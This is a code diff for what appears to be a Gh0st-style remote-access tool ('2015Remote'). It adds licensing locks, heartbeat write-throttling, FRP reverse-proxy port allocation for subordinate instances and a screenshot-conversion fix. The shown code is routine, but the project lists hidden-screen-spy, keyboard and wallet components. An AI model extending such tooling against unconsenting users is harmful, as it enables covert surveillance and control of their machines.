     <ClInclude Include="IOCPServer.h" />
     <ClInclude Include="IOCPUDPServer.h" />
@@ -458,6 +460,7 @@
     <ClCompile Include="file\CFileTransferModeDlg.cpp" />
     <ClCompile Include="HideScreenSpyDlg.cpp" />
     <ClCompile Include="InputDlg.cpp" />
+    <ClCompile Include="ZstaPickerDlg.cpp" />
     <ClCompile Include="IOCPKCPServer.cpp" />
     <ClCompile Include="IOCPServer.cpp" />
     <ClCompile Include="IOCPUDPServer.cpp" />
@@ -524,7 +527,9 @@
     <Image Include="res\Bitmap\AuthGen.bmp" />
     <Image Include="res\Bitmap\authorize.bmp" />
     <Image Include="res\Bitmap\Backup.bmp" />
+    <Image Include="res\bitmap\bitmap9.bmp" />
     <Image Include="res\Bitmap\CancelShare.bmp" />
+    <Image Include="res\bitmap\compress.bmp" />
     <Image Include="res\Bitmap\delete.bmp" />
     <Image Include="res\Bitmap\DxgiDesktop.bmp" />
     <Image Include="res\Bitmap\EditGroup.bmp" />
@@ -568,6 +573,7 @@
     <Image Include="res\Bitmap\Trial.bmp" />
     <Image Include="res\Bitmap\Trigger.bmp" />
     <Image Include="res\Bitmap\unauthorize.bmp" />
+    <Image Include="res\bitmap\uncompress.bmp" />
     <Image Include="res\Bitmap\update.bmp" />
     <Image Include="res\Bitmap\VirtualDesktop.bmp" />
     <Image Include="res\Bitmap\Wallet.bmp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -19,6 +19,7 @@
     <ClCompile Include="FileTransferModeDlg.cpp" />
     <ClCompile Include="HideScreenSpyDlg.cpp" />
     <ClCompile Include="InputDlg.cpp" />
+    <ClCompile Include="ZstaPickerDlg.cpp" />
     <ClCompile Include="IOCPServer.cpp" />
     <ClCompile Include="KeyBoardDlg.cpp" />
     <ClCompile Include="Loader.c" />
@@ -107,6 +108,7 @@
     <ClInclude Include="FileTransferModeDlg.h" />
     <ClInclude Include="HideScreenSpyDlg.h" />
     <ClInclude Include="InputDlg.h" />
+    <ClInclude Include="ZstaPickerDlg.h" />
     <ClInclude Include="IOCPServer.h" />
     <ClInclude Include="KeyBoardDlg.h" />
     <ClInclude Include="proxy\HPSocket.h" />
@@ -275,6 +277,9 @@
     <Image Include="res\Bitmap\Trigger.bmp" />
     <Image Include="res\Bitmap\WebDesktop.bmp" />
     <Image Include="res\Bitmap\PluginConfig.bmp" />
+    <Image Include="res\bitmap\bitmap9.bmp" />
+    <Image Include="res\bitmap\compress.bmp" />
+    <Image Include="res\bitmap\uncompress.bmp" />
   </ItemGroup>
   <ItemGroup>
     <None Include="..\..\Release\ghost.exe" />
@@ -331,6 +336,7 @@
     <None Include="lang\zh_TW.ini" />
     <None Include="res\3rd\TerminalModule_x64.dll" />
     <None Include="..\..\macos\ghost" />
+    <None Include="..\web\index.html" />
   </ItemGroup>
   <ItemGroup>
     <Text Include="..\..\ReadMe.md" />

server/2015Remote/Bmp2Video.cpp

@@ -284,13 +284,13 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
         return false;
     }
 
-    // 复制数据（注意：DIB 是底部到顶部，需要翻转）
+    // 输入已为 top-down 的紧凑 BGR24（调用方已通过 Process24BitBmp /
+    // ConvertScreenshot32to24 完成翻转与去对齐），此处直接按行拷贝即可
     BYTE* srcData = (BYTE*)lpBuffer;
     BYTE* dstData = (BYTE*)bitmapData.Scan0;
 
     for (int y = 0; y < height; y++) {
-        // DIB 是从底部开始的，所以需要翻转
+        BYTE* srcRow = srcData + y * rowSize;
-        BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
         BYTE* dstRow = dstData + y * bitmapData.Stride;
         memcpy(dstRow, srcRow, width * 3);
     }

server/2015Remote/Bmp2Video.h

@@ -1,6 +1,7 @@
 #pragma once
 #include <Vfw.h>
 #pragma comment(lib,"Vfw32.lib")
+#include "LangManager.h"
 
 #define ERR_INVALID_PARAM 1
 #define ERR_NO_ENCODER 2
@@ -30,13 +31,13 @@ public:
     {
         switch (result) {
         case ERR_INVALID_PARAM:
-            return ("无效参数");
+            return _L("无效参数").GetString();
         case ERR_NOT_SUPPORT:
-            return ("不支持的位深度，需要24位或32位");
+            return _L("不支持的位深度，需要24位或32位").GetString();
         case ERR_NO_ENCODER:
-            return ("未安装x264编解码器 \n下载地址：https://sourceforge.net/projects/x264vfw");
+            return _L("未安装x264编解码器 \n下载地址：https://sourceforge.net/projects/x264vfw").GetString();
         case ERR_INTERNAL:
-            return("创建AVI文件失败");
+            return _L("创建AVI文件失败").GetString();
         default:
             return "succeed";
         }

server/2015Remote/CLicenseDlg.cpp

@@ -10,6 +10,8 @@
 #include "2015RemoteDlg.h"
 #include "InputDlg.h"
 #include "IPHistoryDlg.h"
+#include "FrpsForSubDlg.h"
+#include "pwd_gen.h"
 #include <algorithm>
 
 // CLicenseDlg 对话框
@@ -42,14 +44,24 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
     ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
     ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
     ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
+    ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
+    ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
 END_MESSAGE_MAP()
 
+// 前向声明：实现位于本文件后段（Auto FRP 相关工具）
+static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
+static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
+
 // 获取所有授权信息
 std::vector<LicenseInfo> GetAllLicenses()
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::vector<LicenseInfo> licenses;
     std::string iniPath = GetLicensesPath();
 
+    // 注意：CIniParser 走 ifstream 读取整文件，与 WritePrivateProfileString 的内核锁
+    // 不在同一域。必须靠这里的 g_licensesIniMutex 阻止与其它写入交错，否则可能读到
+    // 写入到一半的中间态。
     CIniParser parser;
     if (!parser.LoadFile(iniPath.c_str()))
         return licenses;
@@ -298,6 +310,7 @@ void CLicenseDlg::OnSize(UINT nType, int cx, int cy)
 // 更新授权状态
 bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -331,6 +344,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
     const auto& lic = m_Licenses[nIndex];
     menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
     menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
+    menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
+
+    // 仅当该授权已分配 FRPC 端口时，才显示"撤销FRP"
+    {
+        std::string existingFrp = LoadLicenseFrpConfig(lic.SerialNumber);
+        if (ParseRemotePortFromFrpConfig(existingFrp) > 0) {
+            menu.AppendMenuL(MF_STRING, ID_LICENSE_REVOKE_FRP, _T("撤销FRP(&U)"));
+        }
+    }
 
     // 只有当有 IP 记录时才显示查看 IP 历史选项
     int ipCount = GetIPCountFromList(lic.IP);
@@ -440,6 +462,7 @@ int ParseHostNumFromPasscode(const std::string& passcode)
 // 设置待续期信息
 bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -458,6 +481,7 @@ bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDat
 // 获取待续期信息
 RenewalInfo GetPendingRenewal(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     RenewalInfo info;
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
@@ -471,6 +495,7 @@ RenewalInfo GetPendingRenewal(const std::string& deviceID)
 // 清除待续期信息
 bool ClearPendingRenewal(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -481,8 +506,11 @@ bool ClearPendingRenewal(const std::string& deviceID)
 }
 
 // 配额递减，返回是否还有剩余配额
+// 关键：read-modify-write 的 PendingQuota 必须在锁内完成，否则与 SetPendingRenewal
+// 并发会丢失用户刚设置的预设续期（旧 bug：用户报告"预设续期消失"的根因）。
 bool DecrementPendingQuota(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -495,7 +523,7 @@ bool DecrementPendingQuota(const std::string& deviceID)
     cfg.SetInt(deviceID, "PendingQuota", quota);
 
     if (quota <= 0) {
-        // 配额用完，清除待续期信息
+        // 配额用完，清除待续期信息（嵌套加锁，recursive_mutex 安全）
         ClearPendingRenewal(deviceID);
         return false;
     }
@@ -599,6 +627,7 @@ void CLicenseDlg::OnLicenseRenewal()
 // 设置授权备注
 bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -642,6 +671,7 @@ void CLicenseDlg::OnLicenseEditRemark()
 // 删除授权
 bool DeleteLicense(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -651,9 +681,21 @@ bool DeleteLicense(const std::string& deviceID)
         return false;  // 授权不存在
     }
 
+    // 若该授权占用了 FRP 端口，先释放 frp_ports.ini 中的占用记录，
+    // 否则端口会一直被这个已不存在的 SN "挂账"，导致端口池逐步耗尽。
+    std::string frpConfig = cfg.GetStr(deviceID, "FrpConfig", "");
+    int allocatedPort = ParseRemotePortFromFrpConfig(frpConfig);
+    if (allocatedPort > 0) {
+        FreeFrpPortAllocation(allocatedPort, deviceID);
+    }
+
     // 删除该 section (通过写入 NULL 删除整个 section)
     BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
     ::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str());  // 刷新缓存
+
+    // 关键：清掉 UpdateLicenseActivity 的内存缓存。否则若同 SN 客户端再次连上来，
+    // cache 命中会跳过落盘 → disk 永远不会重建被删的 section。
+    InvalidateLicenseActivityCache(deviceID);
     return ret != FALSE;
 }
 
@@ -835,12 +877,17 @@ void CLicenseDlg::OnLicenseViewIPs()
 
     // 如果有记录被删除，保存更新后的 IP 列表
     if (removedCount > 0) {
+        // 锁内只做 I/O —— UI 控件更新（SetItemText）放锁外，避免锁内触发
+        // 任何可能的消息循环回调，保持锁占用时间最短
+        {
+            std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
             std::string iniPath = GetLicensesPath();
             config cfg(iniPath);
             cfg.SetStr(lic.SerialNumber, "IP", newIPList);
-        lic.IP = newIPList;  // 更新内存中的数据
+        }
+        lic.IP = newIPList;  // 更新内存中的数据（与 m_Licenses 同步，不需要锁）
 
-        // 更新列表显示
+        // 更新列表显示（UI 线程操作，必须在锁外）
         CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
         m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
     }
@@ -960,6 +1007,9 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
 {
     if (ip.empty()) return false;
 
+    // 加锁保护整个 list 遍历，避免与并发的 SetStr(IP, ...) 交错读到中间态。
+    // GetAllLicenses 内部也加锁，recursive_mutex 允许嵌套。
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     auto licenses = GetAllLicenses();
     for (const auto& lic : licenses) {
         if (lic.IP.empty()) continue;
@@ -1010,3 +1060,195 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
     }
     return false;
 }
+
+// 从 FrpConfig 字符串解析 remotePort
+// 格式: "serverAddr:serverPort-remotePort-expireDate-authValue"
+// 注意：serverAddr 可能是含 '-' 的域名（如 my-server.com），必须从右往左定位
+// 与 CMy2015RemoteDlg::ParseFrpAutoConfig 的拆分策略一致。
+static int ParseRemotePortFromFrpConfig(const std::string& frpConfig)
+{
+    if (frpConfig.empty()) return 0;
+    // 倒数第 1 个 '-'：分隔 expireDate 与 authValue
+    size_t dashAuth = frpConfig.rfind('-');
+    if (dashAuth == std::string::npos || dashAuth == 0) return 0;
+    std::string s2 = frpConfig.substr(0, dashAuth);
+    // 倒数第 2 个 '-'：分隔 remotePort 与 expireDate
+    size_t dashExpire = s2.rfind('-');
+    if (dashExpire == std::string::npos || dashExpire == 0) return 0;
+    std::string s3 = s2.substr(0, dashExpire);
+    // 倒数第 3 个 '-'：分隔 serverAddr:serverPort 与 remotePort
+    size_t dashPort = s3.rfind('-');
+    if (dashPort == std::string::npos || dashPort == 0) return 0;
+    return atoi(s3.substr(dashPort + 1).c_str());
+}
+
+// 释放 frp_ports.ini 中指定端口的占用记录。
+// 必须传入 expectedOwner —— 仅当端口当前的归属确实是它时才清除，
+// 避免在 race 或外部改动后误抹掉别的 SN 的占用记录。
+static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner)
+{
+    if (port <= 0 || expectedOwner.empty()) return false;
+    config portsCfg(CFrpsForSubDlg::GetFrpPortsPath());
+    char portStr[16];
+    sprintf_s(portStr, "%d", port);
+    std::string currentOwner = portsCfg.GetStr("ports", portStr, "");
+    if (currentOwner != expectedOwner) {
+        // 已被改写或释放，不动它
+        return false;
+    }
+    portsCfg.SetStr("ports", portStr, "");  // 写入空 owner，FindNextAvailablePort 将其视为可用
+    return true;
+}
+
+void CLicenseDlg::OnLicenseAutoFrp()
+{
+    int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
+    if (nItem < 0)
+        return;
+
+    size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
+    if (nIndex >= m_Licenses.size())
+        return;
+
+    const auto& lic = m_Licenses[nIndex];
+
+    // 1. 前提条件：FRPS 服务器必须已在「下级 FRP 代理设置」中配置并启用
+    if (!CFrpsForSubDlg::IsFrpsConfigured()) {
+        MessageBoxL("请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token，然后再使用此功能。",
+                    "未配置 FRPS", MB_OK | MB_ICONINFORMATION);
+        return;
+    }
+
+    // 2. 读取该授权当前的 FRP 配置（若已分配端口）
+    std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
+    int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
+
+    // 已分配端口时，先询问是否覆盖
+    if (existingPort > 0) {
+        CString msg;
+        msg.FormatL("该授权已分配 FRPC 远程端口 %d，是否覆盖并重新设置？",
+                    existingPort);
+        if (MessageBox(msg, _TR("覆盖 FRPC 配置"),
+                       MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
+            return;
+        }
+    }
+
+    // 3. 决定默认端口：已有端口则沿用，否则查找下一个可用端口
+    int defaultPort = existingPort;
+    if (defaultPort <= 0) {
+        defaultPort = CFrpsForSubDlg::FindNextAvailablePort();
+        if (defaultPort <= 0) {
+            MessageBoxL("FRPS 端口范围已满，无法自动分配，请扩大「下级 FRP 代理设置」中的端口范围。",
+                        "端口已满", MB_OK | MB_ICONWARNING);
+            return;
+        }
+    }
+
+    // 4. 弹出输入对话框，允许用户确认或修改端口
+    CInputDialog dlg(this);
+    CString strTitle;
+    strTitle.FormatL("自动 FRP - %s", lic.SerialNumber.c_str());
+    dlg.Init(strTitle, _L("FRPC 远程端口 (1024-65535):"));
+    CString strDefault;
+    strDefault.Format(_T("%d"), defaultPort);
+    dlg.m_str = strDefault;
+
+    if (dlg.DoModal() != IDOK)
+        return;
+
+    int remotePort = _ttoi(dlg.m_str);
+    if (remotePort < 1024 || remotePort > 65535) {
+        MessageBoxL("FRP 远程端口无效（1024-65535）", "提示", MB_OK | MB_ICONWARNING);
+        return;
+    }
+
+    // 5. 端口冲突检测：若端口已被其它序列号占用则拒绝
+    std::string portOwner = CFrpsForSubDlg::GetPortOwner(remotePort);
+    if (!portOwner.empty() && portOwner != lic.SerialNumber) {
+        CString msg;
+        msg.FormatL("端口 %d 已被序列号 %s 占用，请选择其它端口。",
+                    remotePort, portOwner.c_str());
+        MessageBox(msg, _TR("端口冲突"), MB_OK | MB_ICONWARNING);
+        return;
+    }
+
+    // 6. 先生成 FRP 配置串（失败则直接返回，不动 frp_ports.ini）
+    FrpsConfig frpsConfig = CFrpsForSubDlg::GetFrpsConfig();
+    // expireDate 固定 20371231（由 License 自身的过期控制实际有效性）
+    std::string frpConfig = GenerateFrpConfig(
+        frpsConfig.server, frpsConfig.port, remotePort,
+        frpsConfig.token, "20371231", frpsConfig.authMode);
+
+    if (frpConfig.empty()) {
+        MessageBoxL("生成 FRP 配置失败", "错误", MB_OK | MB_ICONERROR);
+        return;
+    }
+
+    // 7. 提交端口变更（顺序：新端口 RecordPortAllocation → 释放旧端口 → 写 licenses.ini）。
+    //    顺序保证：任意一步失败都不会出现"旧端口已释放 + 新端口未占用"的真空态。
+    CFrpsForSubDlg::RecordPortAllocation(remotePort, lic.SerialNumber);
+    if (existingPort > 0 && existingPort != remotePort) {
+        FreeFrpPortAllocation(existingPort, lic.SerialNumber);  // 仅当旧端口确实归属本 SN 时才释放
+    }
+    {
+        std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
+        std::string iniPath = GetLicensesPath();
+        config cfg(iniPath);
+        cfg.SetStr(lic.SerialNumber, "FrpConfig", frpConfig);
+    }
+
+    CString msg;
+    msg.FormatL("已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。",
+                lic.SerialNumber.c_str(), remotePort);
+    MessageBox(msg, _TR("配置成功"), MB_OK | MB_ICONINFORMATION);
+}
+
+void CLicenseDlg::OnLicenseRevokeFrp()
+{
+    int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
+    if (nItem < 0)
+        return;
+
+    size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
+    if (nIndex >= m_Licenses.size())
+        return;
+
+    const auto& lic = m_Licenses[nIndex];
+
+    // 读取当前 FRP 配置；若本就没有，菜单理应不显示，这里再防御一次
+    std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
+    int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
+    if (existingFrpConfig.empty() && existingPort <= 0) {
+        return;
+    }
+
+    // 二次确认（撤销后下级下次上线即丢失反向代理通道）
+    CString confirm;
+    confirm.FormatL("确定撤销授权 %s 的 FRP 配置吗？\n\n远程端口 %d 将被释放，下级下次上线后反向代理失效。",
+                    lic.SerialNumber.c_str(), existingPort);
+    if (MessageBox(confirm, _TR("撤销 FRP 配置"),
+                   MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
+        return;
+    }
+
+    // 先释放 frp_ports.ini 中的端口占用（仅当归属仍为本 SN 时才释放）。
+    // 顺序：先释放端口，再清 FrpConfig —— 即便后一步失败，端口也已可被复用，
+    // 不会留下"FrpConfig 还在但端口已挂账"的悬空状态。
+    if (existingPort > 0) {
+        FreeFrpPortAllocation(existingPort, lic.SerialNumber);
+    }
+
+    // 清除 licenses.ini 中该授权的 FrpConfig 字段
+    {
+        std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
+        std::string iniPath = GetLicensesPath();
+        config cfg(iniPath);
+        cfg.SetStr(lic.SerialNumber, "FrpConfig", "");
+    }
+
+    CString msg;
+    msg.FormatL("已撤销授权 %s 的 FRP 配置，远程端口 %d 已释放。",
+                lic.SerialNumber.c_str(), existingPort);
+    MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
+}

server/2015Remote/CLicenseDlg.h

@@ -97,6 +97,8 @@ public:
     afx_msg void OnLicenseEditRemark();
     afx_msg void OnLicenseViewIPs();
     afx_msg void OnLicenseDelete();
+    afx_msg void OnLicenseAutoFrp();
+    afx_msg void OnLicenseRevokeFrp();
 };
 
 // 获取所有授权信息

server/2015Remote/CPasswordDlg.cpp

@@ -14,11 +14,65 @@
 #include "InputDlg.h"
 #include "FrpsForSubDlg.h"
 #include "UIBranding.h"
+#include <unordered_map>
+#include <ctime>
 
 // 外部函数声明
 extern std::vector<std::string> splitString(const std::string& str, char delimiter);
 extern std::string GetFirstMasterIP(const std::string& master);
 
+// ---- licenses.ini 并发与写抑制基础设施 (P1) ----
+// 见 CPasswordDlg.h 中 LicensesIniMutex() 注释。这里给出实例。
+std::recursive_mutex& LicensesIniMutex()
+{
+    static std::recursive_mutex m;
+    return m;
+}
+
+namespace {
+    // UpdateLicenseActivity 的写抑制缓存：仅当字段实际变化或节流过期时才落盘。
+    //
+    // ⚠️ Cache key 是 "SN|IP|machine" 三元组而非单 SN，因为同一 SN 可能被多个客户端
+    // 共用（团购授权场景：上百台机器共用一个序列号）。若按 SN 索引，多客户端的
+    // (IP, machine) 会在 cache 里反复互相覆盖 → ipChanged 几乎每次都为 true →
+    // 写抑制完全失效（实测从 0.6 次/秒只降到 0.7 次/秒）。
+    //
+    // 5s 心跳 × 100 客户端，每客户端独立 30s 节流后 → 100/30 ≈ 3.3 次落盘/秒。
+    // Passcode/HMAC 是 per-SN 的，按本结构会在每个客户端的 entry 里冗余存一份，
+    // 续期换码时所有客户端会各自触发一次重写（写入同一新值），冗余但无害。
+    struct LicenseActivityCache {
+        time_t      lastFlushTime = 0;   // 上次实际落盘的 epoch 秒
+        std::string lastPasscode;        // 上次写入 ini 的 Passcode
+        std::string lastHMAC;            // 上次写入 ini 的 HMAC
+        std::string lastLocation;        // 上次写入 ini 的 Location
+        std::string lastIPWriteDate;     // 上次写 IP 列表时的日期 yyMMdd
+    };
+    // Key 格式："SN|IP|machine"。IP/machine 可能为空（ctx == null 路径），
+    // 此时 key 形如 "SN||" —— 该路径自成一类节流域，互不干扰。
+    std::unordered_map<std::string, LicenseActivityCache> g_activityCache;
+
+    // 30 秒节流窗口：LastActiveTime 最多 30 秒落盘一次（即便其它字段未变）。
+    // UI 显示的"最后活跃"最多延迟 30 秒，业务可接受。
+    constexpr int LAST_ACTIVE_THROTTLE_SECONDS = 30;
+}
+
+// 由 DeleteLicense 等"在 cache 视野外修改了 disk"的路径调用，清掉某 SN 名下所有
+// (IP, machine) entry，强制下次 UpdateLicenseActivity 走 firstTime 路径重建 section。
+// Cache key 形如 "SN|IP|machine"，同一 SN 可能对应多个 entry（多客户端共用授权），
+// 必须按前缀遍历清除。
+void InvalidateLicenseActivityCache(const std::string& deviceID)
+{
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
+    const std::string prefix = deviceID + "|";
+    for (auto it = g_activityCache.begin(); it != g_activityCache.end(); ) {
+        if (it->first.compare(0, prefix.size(), prefix) == 0) {
+            it = g_activityCache.erase(it);
+        } else {
+            ++it;
+        }
+    }
+}
+
 // CPasswordDlg 对话框
 
 IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
@@ -105,6 +159,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
                      const std::string& authorization,
                      const std::string& frpConfig)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -146,6 +201,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
 bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
                      std::string& hmac, std::string& remark)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -161,6 +217,7 @@ bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
 // 加载授权的 FRP 配置
 std::string LoadLicenseFrpConfig(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
     return cfg.GetStr(deviceID, "FrpConfig", "");
@@ -169,6 +226,7 @@ std::string LoadLicenseFrpConfig(const std::string& deviceID)
 // 加载授权的 Authorization（用于 V2 授权返回给第一层）
 std::string LoadLicenseAuthorization(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
     return cfg.GetStr(deviceID, "Authorization", "");
@@ -177,6 +235,7 @@ std::string LoadLicenseAuthorization(const std::string& deviceID)
 // 更新授权的 Authorization（V2 续期时更新）
 bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
@@ -313,59 +372,115 @@ static int GetIPCount(const std::string& ipListStr)
     return (int)ipList.size();
 }
 
-// 更新授权活跃信息
+// 更新授权活跃信息（带写抑制）
+//
+// 设计要点：心跳每 5 秒触发一次本函数；同样的 SN 在稳态下绝大多数字段不会变化。
+// 朴素实现每次心跳都做 6-8 次 SetStr (整文件重写)，5 秒就是一轮全文件 I/O 风暴，
+// 100 在线时会饱和。本实现引入 in-memory 缓存 g_activityCache：
+//   - 字段未变化 + LastActiveTime 节流窗口（30 秒）内 → 直接 return，零 I/O
+//   - 字段变化（passcode/HMAC/IP/Location 任一）→ 仅写变化字段
+//   - 节流过期 → 只写 LastActiveTime（轻量刷新）
+//   - IP 列表中的时间戳是日级精度（yyMMdd），跨天必须重写一次以刷新日期
+//
+// 注意：仅在落盘成功后才更新 cache，保证 cache 永远反映"磁盘上当前值"。
 bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
                            const std::string& hmac, const std::string& ip,
                            const std::string& location, const std::string& machineName)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
+
+    // Cache key 是 (SN, IP, machine) 三元组 —— 同 SN 多客户端共用授权时各自独立节流。
+    // 若同 SN 不同 (ip, machine) 共用一个 cache entry，IP 字段会在不同客户端间反复
+    // 翻转，每次心跳都判定为 ipChanged → 写抑制完全失效。
+    const std::string cacheKey = deviceID + "|" + ip + "|" + machineName;
+    auto& cache = g_activityCache[cacheKey];
+    time_t now = time(nullptr);
+
+    // 计算今日日期串（yyMMdd），用于和 IP 列表时间戳比对
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char today[8];
+    sprintf_s(today, "%02d%02d%02d", st.wYear % 100, st.wMonth, st.wDay);
+
+    // —— 决策阶段：判断本次心跳是否真的需要落盘 ——
+    // 注意：因 cacheKey 已经包含 (IP, machine)，不同的客户端会落到不同 entry，
+    // 所以不再需要在字段比对中处理 IP/machine 变化 —— 那种"变化"其实是 cache miss。
+    const bool firstTime       = (cache.lastFlushTime == 0);
+    const bool passcodeChanged = (passcode != cache.lastPasscode);
+    const bool hmacChanged     = (hmac     != cache.lastHMAC);
+    const bool ipDayChanged    = !ip.empty() && !cache.lastIPWriteDate.empty() &&
+                                 std::string(today) != cache.lastIPWriteDate;
+    const bool locationChanged = !location.empty() && (location != cache.lastLocation);
+    const bool throttleExpired = (now - cache.lastFlushTime >= LAST_ACTIVE_THROTTLE_SECONDS);
+
+    if (!firstTime && !passcodeChanged && !hmacChanged
+        && !ipDayChanged && !locationChanged && !throttleExpired) {
+        // 100% cache 命中：本客户端的所有字段都与上次落盘一致且节流未过期
+        return true;
+    }
+
+    // —— 落盘阶段：仅写真正需要写的字段 ——
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
 
-    // 检查该授权是否存在
+    // 检查该授权是否存在（注意：此处仍需读磁盘，因为我们不缓存"是否存在"的事实）
     std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
-    if (existingPasscode.empty()) {
+    const bool isNewRecord = existingPasscode.empty();
-        // 授权不存在，但验证成功了，说明是既往授权，自动添加记录
+
+    if (isNewRecord) {
+        // 授权不存在但验证成功 —— 既往授权自动加入
         cfg.SetStr(deviceID, "SerialNumber", deviceID);
         cfg.SetStr(deviceID, "Passcode", passcode);
         cfg.SetStr(deviceID, "HMAC", hmac);
         cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
-        cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);  // 新记录默认为有效
+        cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
     } else {
-        // 授权已存在，更新 passcode（续期后 passcode 会变化）
+        // 已存在：只在 passcode/hmac 实际变化时才写（续期场景才会变）
+        if (firstTime || passcodeChanged) {
             cfg.SetStr(deviceID, "Passcode", passcode);
+        }
+        if (firstTime || hmacChanged) {
             cfg.SetStr(deviceID, "HMAC", hmac);
         }
+    }
 
-    // 更新最后活跃时间
+    // LastActiveTime：走到这里就更新（节流过期或字段变化都需要刷新）
-    SYSTEMTIME st;
-    GetLocalTime(&st);
     char timeStr[32];
     sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
               st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
     cfg.SetStr(deviceID, "LastActiveTime", timeStr);
 
-    // 如果是新添加的记录，设置创建时间
+    if (isNewRecord) {
-    if (existingPasscode.empty()) {
         cfg.SetStr(deviceID, "CreateTime", timeStr);
     }
 
-    // 更新 IP 列表（追加新 IP 或更新已有 IP 的时间戳）
